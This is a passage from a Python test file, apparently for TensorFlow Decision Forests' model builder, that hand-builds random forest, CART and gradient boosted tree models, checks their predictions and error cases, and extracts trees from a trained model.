logging.info("Create model in %s", model_path)
builder = builder_lib.RandomForestBuilder(
path=model_path,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.ClassificationObjective(
label="color", classes=["red", "blue", "green"]))
# f1>=1.5
# │
# ├─(pos)─ f2 in ["cat","dog"]
# │ │
# │ ├─(pos)─ value: [0.8, 0.1, 0.1]
# │ └─(neg)─ value: [0.1, 0.8, 0.1]
# └─(neg)─ value: [0.1, 0.1, 0.8]
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=NonLeafNode(
condition=CategoricalIsInCondition(
feature=SimpleColumnSpec(
name="f2",
type=py_tree.dataspec.ColumnType.CATEGORICAL),
mask=["cat", "dog"],
missing_evaluation=False),
pos_child=LeafNode(
value=ProbabilityValue(
probability=[0.8, 0.1, 0.1], num_examples=10)),
neg_child=LeafNode(
value=ProbabilityValue(
probability=[0.1, 0.8, 0.1], num_examples=20))),
neg_child=LeafNode(
value=ProbabilityValue(
probability=[0.1, 0.1, 0.8], num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0, 3.0],
"f2": ["cat", "cat", "bird"]
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(predictions,
[[0.1, 0.1, 0.8], [0.8, 0.1, 0.1], [0.1, 0.8, 0.1]])
def test_classification_cart(self):
model_path = os.path.join(tmp_path(), "classification_cart")
logging.info("Create model in %s", model_path)
builder = builder_lib.CARTBuilder(
path=model_path,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.ClassificationObjective(
label="color", classes=["red", "blue", "green"]))
# f1>=1.5
# ├─(pos)─ f2 in ["cat","dog"]
# │ ├─(pos)─ value: [0.8, 0.1, 0.1]
# │ └─(neg)─ value: [0.1, 0.8, 0.1]
# └─(neg)─ value: [0.1, 0.1, 0.8]
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=NonLeafNode(
condition=CategoricalIsInCondition(
feature=SimpleColumnSpec(
name="f2",
type=py_tree.dataspec.ColumnType.CATEGORICAL),
mask=["cat", "dog"],
missing_evaluation=False),
pos_child=LeafNode(
value=ProbabilityValue(
probability=[0.8, 0.1, 0.1], num_examples=10)),
neg_child=LeafNode(
value=ProbabilityValue(
probability=[0.1, 0.8, 0.1], num_examples=20))),
neg_child=LeafNode(
value=ProbabilityValue(
probability=[0.1, 0.1, 0.8], num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0, 3.0],
"f2": ["cat", "cat", "bird"]
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(predictions,
[[0.1, 0.1, 0.8], [0.8, 0.1, 0.1], [0.1, 0.8, 0.1]])
def test_regression_random_forest(self):
model_path = os.path.join(tmp_path(), "regression_rf")
logging.info("Create model in %s", model_path)
builder = builder_lib.RandomForestBuilder(
path=model_path,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.RegressionObjective(label="age"))
# f1>=1.5
# ├─(pos)─ age: 1
# └─(neg)─ age: 2
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=LeafNode(
value=RegressionValue(value=1, num_examples=30)),
neg_child=LeafNode(
value=RegressionValue(value=2, num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0],
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(predictions, [[2.0], [1.0]])
def test_binary_classification_gbt(self):
model_path = os.path.join(tmp_path(), "binary_classification_gbt")
logging.info("Create model in %s", model_path)
builder = builder_lib.GradientBoostedTreeBuilder(
path=model_path,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
bias=1.0,
objective=py_tree.objective.ClassificationObjective(
label="color", classes=["red", "blue"]))
# bias: 1.0 (toward "blue")
# f1>=1.5
# ├─(pos)─ +1.0 (toward "blue")
# └─(neg)─ -1.0 (toward "blue")
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=LeafNode(
value=RegressionValue(value=+1, num_examples=30)),
neg_child=LeafNode(
value=RegressionValue(value=-1, num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0],
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(
predictions,
[[1.0 / (1.0 + math.exp(0.0))], [1.0 / (1.0 + math.exp(-2.0))]])
def test_multi_class_classification_gbt(self):
model_path = os.path.join(tmp_path(), "multi_class_classification_gbt")
logging.info("Create model in %s", model_path)
builder = builder_lib.GradientBoostedTreeBuilder(
path=model_path,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.ClassificationObjective(
label="color", classes=["red", "blue", "green"]))
# f1>=1.5
# ├─(pos)─ +1.0 (toward "red")
# └─(neg)─ -1.0 (toward "red")
# f1>=2.5
# ├─(pos)─ +1.0 (toward "blue")
# └─(neg)─ -1.0 (toward "blue")
# f1>=3.5
# ├─(pos)─ +1.0 (toward "green")
# └─(neg)─ -1.0 (toward "green")
for threshold in [1.5, 2.5, 3.5]:
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1",
type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=threshold,
missing_evaluation=False),
pos_child=LeafNode(
value=RegressionValue(value=+1, num_examples=30)),
neg_child=LeafNode(
value=RegressionValue(value=-1, num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0],
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
soft_max_sum = np.sum(np.exp([+1, -1, -1]))
self.assertAllClose(predictions, [[1.0 / 3.0, 1.0 / 3.0, 1.0 / 3.0],
[
math.exp(+1) / soft_max_sum,
math.exp(-1) / soft_max_sum,
math.exp(-1) / soft_max_sum
]])
def test_regression_gbt(self):
model_path = os.path.join(tmp_path(), "regression_gbt")
logging.info("Create model in %s", model_path)
builder = builder_lib.GradientBoostedTreeBuilder(
path=model_path,
bias=1.0,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.RegressionObjective(label="age"))
# bias: 1.0
# f1>=1.5
# ├─(pos)─ +1
# └─(neg)─ -1
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=LeafNode(
value=RegressionValue(value=+1, num_examples=30)),
neg_child=LeafNode(
value=RegressionValue(value=-1, num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0],
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(predictions, [[0.0], [2.0]])
def test_ranking_gbt(self):
model_path = os.path.join(tmp_path(), "ranking_gbt")
logging.info("Create model in %s", model_path)
builder = builder_lib.GradientBoostedTreeBuilder(
path=model_path,
bias=1.0,
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.RankingObjective(
label="document", group="query"))
# bias: 1.0
# f1>=1.5
# ├─(pos)─ +1
# └─(neg)─ -1
builder.add_tree(
Tree(
NonLeafNode(
condition=NumericalHigherThanCondition(
feature=SimpleColumnSpec(
name="f1", type=py_tree.dataspec.ColumnType.NUMERICAL),
threshold=1.5,
missing_evaluation=False),
pos_child=LeafNode(
value=RegressionValue(value=+1, num_examples=30)),
neg_child=LeafNode(
value=RegressionValue(value=-1, num_examples=30)))))
builder.close()
logging.info("Loading model")
loaded_model = tf.keras.models.load_model(model_path)
logging.info("Make predictions")
tf_dataset = tf.data.Dataset.from_tensor_slices({
"f1": [1.0, 2.0],
}).batch(2)
predictions = loaded_model.predict(tf_dataset)
self.assertAllClose(predictions, [[0.0], [2.0]])
def test_error_empty_path(self):
self.assertRaises(
ValueError, lambda: builder_lib.RandomForestBuilder(
path="",
model_format=builder_lib.ModelFormat.TENSORFLOW_SAVED_MODEL,
objective=py_tree.objective.RegressionObjective("label")))
def test_error_multi_tree_cart(self):
builder = builder_lib.CARTBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.RegressionObjective("label"))
builder.add_tree(Tree(LeafNode(RegressionValue(1, 30))))
self.assertRaises(
ValueError,
lambda: builder.add_tree(Tree(LeafNode(RegressionValue(1, 30)))))
def test_error_reg_cart_with_class_tree(self):
builder = builder_lib.CARTBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.RegressionObjective("label"))
self.assertRaises(
ValueError, lambda: builder.add_tree(
Tree(
LeafNode(
ProbabilityValue(
probability=[0.8, 0.1, 0.1], num_examples=10)))))
def test_error_class_cart_with_reg_tree(self):
builder = builder_lib.CARTBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.ClassificationObjective(
"label", classes=["red", "blue"]))
self.assertRaises(
ValueError,
lambda: builder.add_tree(Tree(LeafNode(RegressionValue(1, 10)))))
def test_error_wrong_class_leaf_dim(self):
builder = builder_lib.CARTBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.ClassificationObjective(
"label", classes=["red", "blue"]))
self.assertRaises(
ValueError, lambda: builder.add_tree(
Tree(
LeafNode(
ProbabilityValue(
probability=[0.8, 0.1, 0.1], num_examples=10)))))
def test_error_gbt_with_class_tree(self):
builder = builder_lib.GradientBoostedTreeBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.ClassificationObjective(
"label", classes=["red", "blue", "green"]))
self.assertRaises(
ValueError, lambda: builder.add_tree(
Tree(
LeafNode(
ProbabilityValue(
probability=[0.8, 0.1, 0.1], num_examples=10)))))
def test_error_gbt_wrong_number_of_trees(self):
builder = builder_lib.GradientBoostedTreeBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.ClassificationObjective(
"label", classes=["red", "blue", "green"]))
builder.add_tree(Tree(LeafNode(RegressionValue(1, num_examples=10))))
self.assertRaises(ValueError, builder.close)
def test_get_set_dictionary(self):
builder = builder_lib.RandomForestBuilder(
path=os.path.join(tmp_path(), "model"),
objective=py_tree.objective.ClassificationObjective(
"label", classes=["true", "false"]))
builder.add_tree(
Tree(
NonLeafNode(
condition=CategoricalIsInCondition(
feature=SimpleColumnSpec(
name="f1",
type=py_tree.dataspec.ColumnType.CATEGORICAL),
mask=["x", "y"],
missing_evaluation=False),
pos_child=LeafNode(
value=ProbabilityValue(
probability=[0.8, 0.2], num_examples=10)),
neg_child=LeafNode(
value=ProbabilityValue(
probability=[0.2, 0.8], num_examples=20)))))
self.assertEqual(builder.get_dictionary("f1"), ["<OOD>", "x", "y"])
builder.set_dictionary("f1", ["<OOD>", "x", "y", "z"])
self.assertEqual(builder.get_dictionary("f1"), ["<OOD>", "x", "y", "z"])
builder.close()
def test_extract_random_forest(self):
"""Extract 5 trees from a trained RF model, and pack them into a model."""
# Load a dataset
dataset_path = os.path.join(test_dataset_directory(), "adult_test.csv")
dataframe = pd.read_csv(dataset_path)
# This "adult_binary_class_rf" model expect for "education_num" to be a
# string.
dataframe["education_num"] = dataframe["education_num"].astype(str)
dataset = keras.pd_dataframe_to_tf_dataset(dataframe, "income")
# Load an inspector to an existing model.
src_model_path = os.path.join(test_model_directory(),
"adult_binary_class_rf")
inspector = inspector_lib.make_inspector(src_model_path)
# Extract a piece of this model
dst_model_path = os.path.join(tmp_path(), "model")
builder = builder_lib.RandomForestBuilder(
path=dst_model_path,
objective=inspector.objective(),
# Make sure the features and feature dictionaries are the same as in the
# original model.
import_dataspec=inspector.dataspec)
# Extract the first 5 trees
for i in range(5):
tree = inspector.extract_tree(i)
builder.add_tree(tree)
builder.close()
truncated_model = tf.keras.models.load_model(dst_model_path)
# By default, the model builder export numerical features as float32. In
# this dataset, some numerical features are stored as int64. Therefore,
# we need to apply a cast.
#
# TODO(gbm): Allow the user to specify the signature in a model builder.
numerical_features = []
for feature in inspector.features():
if feature.type == keras.FeatureSemantic.NUMERICAL.value:
numerical_features.append(feature)
# Cast all the numerical features to floats.
def cast_numerical_to_float32(features, labels):
for numerical_feature in numerical_features:
features[numerical_feature.name] = tf.cast(
features[numerical_feature.name], tf.float32)
return features, labels
predictions = truncated_model.predict(
dataset.map(cast_numerical_to_float32))
self.assertEqual(predictions.shape, (9769, 1))
if __name__ == "__main__":
tf.test.main()
|
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